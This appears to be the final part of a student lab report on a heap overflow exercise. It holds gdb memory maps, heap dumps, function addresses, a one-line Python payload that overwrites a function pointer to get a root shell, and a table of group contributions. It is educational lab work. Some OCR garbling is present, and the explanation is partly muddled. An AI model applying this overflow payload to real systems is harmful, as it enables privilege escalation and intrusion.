Breakpoint 1, 0x08048591 in main ()
(gdb) info proc map
process 15713
lapped address spaces:
        Start Addr
                       End Addr
                                         Size
                                                   Offset objfile
                      0x8049000
                                                       0x0 /home/ubuntu/Documents/Heap/he
         0x8048000
                                       0x1000
3D
                                                       0x0 /home/ubuntu/Documents/Heap/he
          0x8049000
                      0x804a000
                                       0×1000
3 D
                                                   0x1000 /home/ubuntu/Documents/Heap/he
                                       0x1000
          0x804a000
                      0x804b000
ар
          0x804b000
                      0x806c000
                                      0x21000
                                                       0x0 [heap]
        0xb7e17000 0xb7e18000
                                       0x1000
                                                       0x0
        0xb7e18000 0xb7fc1000
                                     0x1a9000
                                                       0x0 /lib/i386-linux-gnu/libc-2.19
                                                 0x1a9000 /lib/i386-linux-gnu/libc-2.19
        0xb7fc1000 0xb7fc3000
                                       0x2000
50
        0xb7fc3000 0xb7fc4000
                                       0×1000
                                                 0x1ab000 /lib/i386-linux-gnu/libc-2.19
50
        0xb7fc4000 0xb7fc7000
                                       0x3000
                                                       0 \times 0
                                       0x3000
        0xb7fda000 0xb7fdd000
                                                       0x0
        0xb7fdd000 0xb7fde000
                                       0x1000
                                                       0x0 [vdso]
                                                       0x0 /lib/i386-linux-gnu/ld-2.19.so
        0xb7fde000 0xb7ffe000
                                      0×20000
                                                  0x1f000 /lib/i386-linux-gnu/ld-2.19.so
0x20000 /lib/i386-linux-gnu/ld-2.19.so
        0xb7ffe000 0xb7fff000
                                       0x1000
                                       0x1000
         0xb7fff000 0xb8000000
        0xbffdf000 0xc0000000
                                      0x21000
                                                       0x0 [stack]
```

Looking at info proc map, we see that the heap starts from 0x804b000.

Looking at the heap memory, we can see where our "AAAA" input is stored on the heap.

```
x804b000:
                0×00000000
                                  0x00000049
                                                    0x41414141
                                                                     0×00000000
0x804b010:
                0x00000000
                                  0x00000000
                                                    0x0<del>0000000</del>
                                                                     0x00000000
                                                    0×00000000
                                                                     0×00000000
0x804b020:
                0x00000000
                                  0x00000000
0x804b030:
                0×00000000
                                  0×00000000
                                                    0x00000000
                                                                     0×00000000
0x804b040:
                0×00000000
                                  0x00000000
                                                    0x00000000
                                                                     0x00000011
0x804b050:
                0x0804850d
                                  0x00000000
                                                    0x00000000
                                                                     0x00020fa9
0x804b060:
                0x00000000
                                  0×00000000
                                                    0×00000000
                                                                     0×00000000
                0×00000000
                                  0x00000000
0x00000000
0x804b070:
                                                    0x00000000
                                                                     0x00000000
0x804b080:
                0×00000000
                                                    0×00000000
                                                                     0x00000000
                                                    0×00000000
0x804b090:
                                  0×00000000
                                                                     0×00000000
                0x00000000
0x804b0a0:
                0x00000000
                                  0×00000000
                                                    0x00000000
                                                                     0×00000000
                                                    0x00000000
                                                                     0×00000000
0x804b0b0:
                0x00000000
                                  0×00000000
                0×00000000
                                  0×00000000
x804b0c0:
```

We find the address of Failed() and executeShell().

```
(gdb) x/050x 0x804b000
0x804b000:
                 0x00000000
                                  0x00000049
                                                   0x41414141
                                                                     0x00000000
0x804b010:
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                     0x00000000
0x804b020:
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                     0x00000000
0x804b030:
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                     0x00000000
0x804b040:
                 0×00000000
                                  0x00000000
                                                   0×00000000
                                                                     0x00000011
0x804b050:
                 0x<mark>0804850d</mark>
                                  0x00000000
                                                   0x00000000
                                                                     0x00020fa9
0x804b060:
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                     0x00000000
0x804b070:
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                     0x00000000
0x804b080:
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                     0x00000000
0x804b090:
                                  0x00000000
                 0x00000000
                                                   0x00000000
                                                                     0x00000000
0x804b0a0:
                                  0x00000000
                 0x00000000
                                                   0x00000000
                                                                     0x00000000
0x804b0b0:
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                     0x00000000
0x804b0c0:
                 0x00000000
                                  0x00000000
(gdb) print @Failed
Unknown address space specifier: "Failed"
(gdb) print &Failed
$1 = (<text variable, no debug info> *) 0x804850d <Failed> (gdb) print &executeShell
$2 = (<text variable, no debug info> *) 0x80484dd <executeShell>
(gdb)
```

1.3. output:

```
ubuntu@ubuntu:~/Documents/Heap$ sudo ./heap $(python -c "print 'A'*72 + '\xdd\x84\
x04\x08'")
# whoami
root
# <mark>|</mark>
```

1.4. your thoughts (How many no ops you used, why, what is return address, how it overflows)

When return pointer hits the target malicious code. The shell contains assembly level instruction for launching the shell. Thus, by heap overflow attack we can launch the shell the same way we did in previous question. We have used mallow function to allocation memory dynamically in the heap section of memory.

Contribution:

Every group member has contributed equal amount of work. Every member has actively participated in every questions actively helped each other.

Name	Contribution
Anchal Soni (2020201099)	Heap Debugging, Buffer Debugging, Report making, shell codes,
	heap 2 nd question.
Param Pujara (2020202008)	Buffer Debugging, Report making, ret2libc attack debugging, shell
	codes, heap 2 nd question.
Somya Lalwani (2020201092)	Heap Debugging, Buffer Debugging, Report making, shell codes,
	heap 2 nd question.
Utkarsh MK (2020201027)	Buffer Debugging, Report making, ret2libc attack debugging, shell
	codes, heap 2 nd question.

We also tried to attempt heap 2nd Question but could not succeed.